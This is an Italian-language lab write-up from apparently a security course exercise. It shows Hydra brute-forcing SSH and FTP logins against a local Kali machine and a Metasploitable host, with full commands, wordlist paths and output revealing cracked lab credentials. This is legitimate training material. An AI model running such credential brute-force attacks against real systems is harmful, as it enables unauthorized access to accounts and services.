

ESERCITAZIONE S6 L4

Prima di cominciare l'esercizio si è preferito installare i due pacchetti necessari. Modificando la rete di Kali, da interna a Bridge e modificando il file di configurazione presente in `/etc/network/interfaces`.

Una volta installati i pacchetti attraverso i due comandi:

`sudo apt install seclists`

`sudo apt install vsftpd`

```
(kali㉿kali)-[~]
└─$ sudo apt install seclists
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  gcc-12-base libcurl3-nss libgcc-12-dev libobjc-12-dev libstdc++-12-dev libtexluaajit2 lua-lpeg nss
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
  seclists
0 upgraded, 1 newly installed, 0 to remove and 524 not upgraded.
Need to get 464 MB of archives.
After this operation, 1,868 MB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2023.4-0kali1 [464 MB]
Fetched 464 MB in 1min 42s (4,533 kB/s)
Selecting previously unselected package seclists.
(Reading database ... 410566 files and directories currently installed.)
Preparing to unpack .../seclists_2023.4-0kali1_all.deb ...
Unpacking seclists (2023.4-0kali1) ...
Setting up seclists (2023.4-0kali1) ...
Processing triggers for kali-menu (2023.4.6) ...
Processing triggers for wordlists (2023.2.0) ...

(kali㉿kali)-[~]
└─$ sudo apt install vsftpd
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  gcc-12-base libcurl3-nss libgcc-12-dev libobjc-12-dev libstdc++-12-dev libtexluaajit2 lua-lpeg nss
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 524 not upgraded.
Need to get 142 kB of archives.
After this operation, 351 kB of additional disk space will be used.
Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b2 [142 kB]
Fetched 142 kB in 1s (233 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 416194 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13+b2_amd64.deb ...
Unpacking vsftpd (3.0.3-13+b2) ...
Setting up vsftpd (3.0.3-13+b2) ...
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.12.0-1) ...
Processing triggers for kali-menu (2023.4.6) ...
```

Possiamo ritornare alla configurazione precedente della macchina.

1. SSH DA KALI A KALI

Viene richiesto di creare un nuovo utente con il comando `sudo adduser test_user` configurato con una password che sarà `testpass`.

Una volta creato il nuovo utente andiamo ad avviare il servizio ssh con il comando `sudo service ssh start` e proviamo la connessione ssh con il comando `ssh test_user@192.168.1.100`. Se il comando è corretto otterremo come risposta:

```
(kali㉿kali)-[~]
└─$ ssh test_user@192.168.1.100
test_user@192.168.1.100's password:
Linux kali 6.5.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

Ora proviamo ad avviare una sessione di cracking con Hydra.

Nelle liste scaricate precedentemente non sono presenti nei file l'username e la password impostati per l'accesso del nuovo utente, quindi li andiamo a inserire, rendendoli prima modificabili con `sudo chmod 777 top-usernames-shortlist.txt` e `sudo chmod 777 500-worst-passwords.txt`, e poi inserendo `test_user` nel file usernames che andremo ad utilizzare e `testpass` nel file password.

Fatto questo abbiamo tutto pronto per lanciare il comando di cracking:

```
(test_user㉿kali)-[~]
└─$ hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/500-worst-passwords.txt 192.168.1.100 -t 4 ssh -V
```

Dopo l'attesa necessaria per effettuare tutti i tentativi di accesso, otterremo l'username e la password corretti.

```
(test_user㉿kali)-[~]
└─$ hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/500-worst-passwords.txt 192.168.1.100 -t 4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 11:43:10
[DATA] max 4 tasks per 1 server, overall 4 tasks, 9000 login tries (l:18/p:500), ~2250 tries per task
[DATA] attacking ssh://192.168.1.100:22/
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "123456" - 1 of 9000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "password" - 2 of 9000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "12345678" - 3 of 9000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "1234" - 4 of 9000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "pussy" - 5 of 9000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "testpass" - 6 of 9000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "12345" - 7 of 9000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "dragon" - 8 of 9000 [child 1] (0/0)
[22][ssh] host: 192.168.1.100 login: test_user password: testpass
[ATTEMPT] target 192.168.1.100 - login "root" - pass "123456" - 501 of 9000 [child 2] (0/0)
```

2. FTP DA KALI A KALI

Lo stesso tipo di attacco lo possiamo effettuare anche con altri servizi, in questo caso procederemo con *FTP*, utilizzando lo stesso comando precedente, apportando solo una piccola modifica

```
(kali@kali)~[/home/test_user]
$ hydra -L /usr/share/seclists/Username/top-username-shortlist.txt -P /usr/share/seclists/Passwords/500-worst-passwords.txt 192.168.1.100 -t 4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is no
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 11:46:57
[DATA] max 4 tasks per 1 server, overall 4 tasks, 9000 login tries (l:18/p:500), ~2250 tries per task
[DATA] attacking ftp://192.168.1.100:21/
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "123456" - 1 of 9000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "password" - 2 of 9000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "12345678" - 3 of 9000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "1234" - 4 of 9000 [child 3] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "pussy" - 5 of 9000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "testpass" - 6 of 9000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "12345" - 7 of 9000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.100 - login "test_user" - pass "dragon" - 8 of 9000 [child 3] (0/0)
[21][ftp] host: 192.168.1.100 login: test_user password: testpass
```

Anche in questo caso l'attacco ha avuto un esito positivo, in quanto siamo riusciti ad ottenere l'username e la password necessari ad accedere.

3. BONUS

In questo caso si procede ad un attacco su Meta (192.168.1.102) utilizzando sempre il comando di Hydra, ma questa volta sapendo che l'username per accedere è *msfadmin*.

```
(kali@kali)~[/home/test_user]
$ hydra -l msfadmin -P /usr/share/seclists/Passwords/500-worst-passwords.txt 192.168.1.102 -t 4 ftp -V
[ATTEMPT] target 192.168.1.102 - login "msfadmin" - pass "killer" - 43 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.1.102 - login "msfadmin" - pass "george" - 44 of 501 [child 2] (0/0)
[ATTEMPT] target 192.168.1.102 - login "msfadmin" - pass "sexy" - 45 of 501 [child 3] (0/0)
[ATTEMPT] target 192.168.1.102 - login "msfadmin" - pass "andrew" - 46 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.1.102 - login "msfadmin" - pass "charlie" - 47 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.1.102 - login "msfadmin" - pass "superman" - 48 of 501 [child 2] (0/0)
[ATTEMPT] target 192.168.1.102 - login "msfadmin" - pass "asshole" - 49 of 501 [child 3] (0/0)
[ATTEMPT] target 192.168.1.102 - login "msfadmin" - pass "fuckyou" - 50 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.1.102 - login "msfadmin" - pass "dallas" - 51 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.1.102 - login "msfadmin" - pass "msfadmin" - 52 of 501 [child 2] (0/0)
[21][ftp] host: 192.168.1.102 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 11:58:14
```

Anche questa volta siamo riusciti ad ottenere la password di accesso all'username *msfadmin*.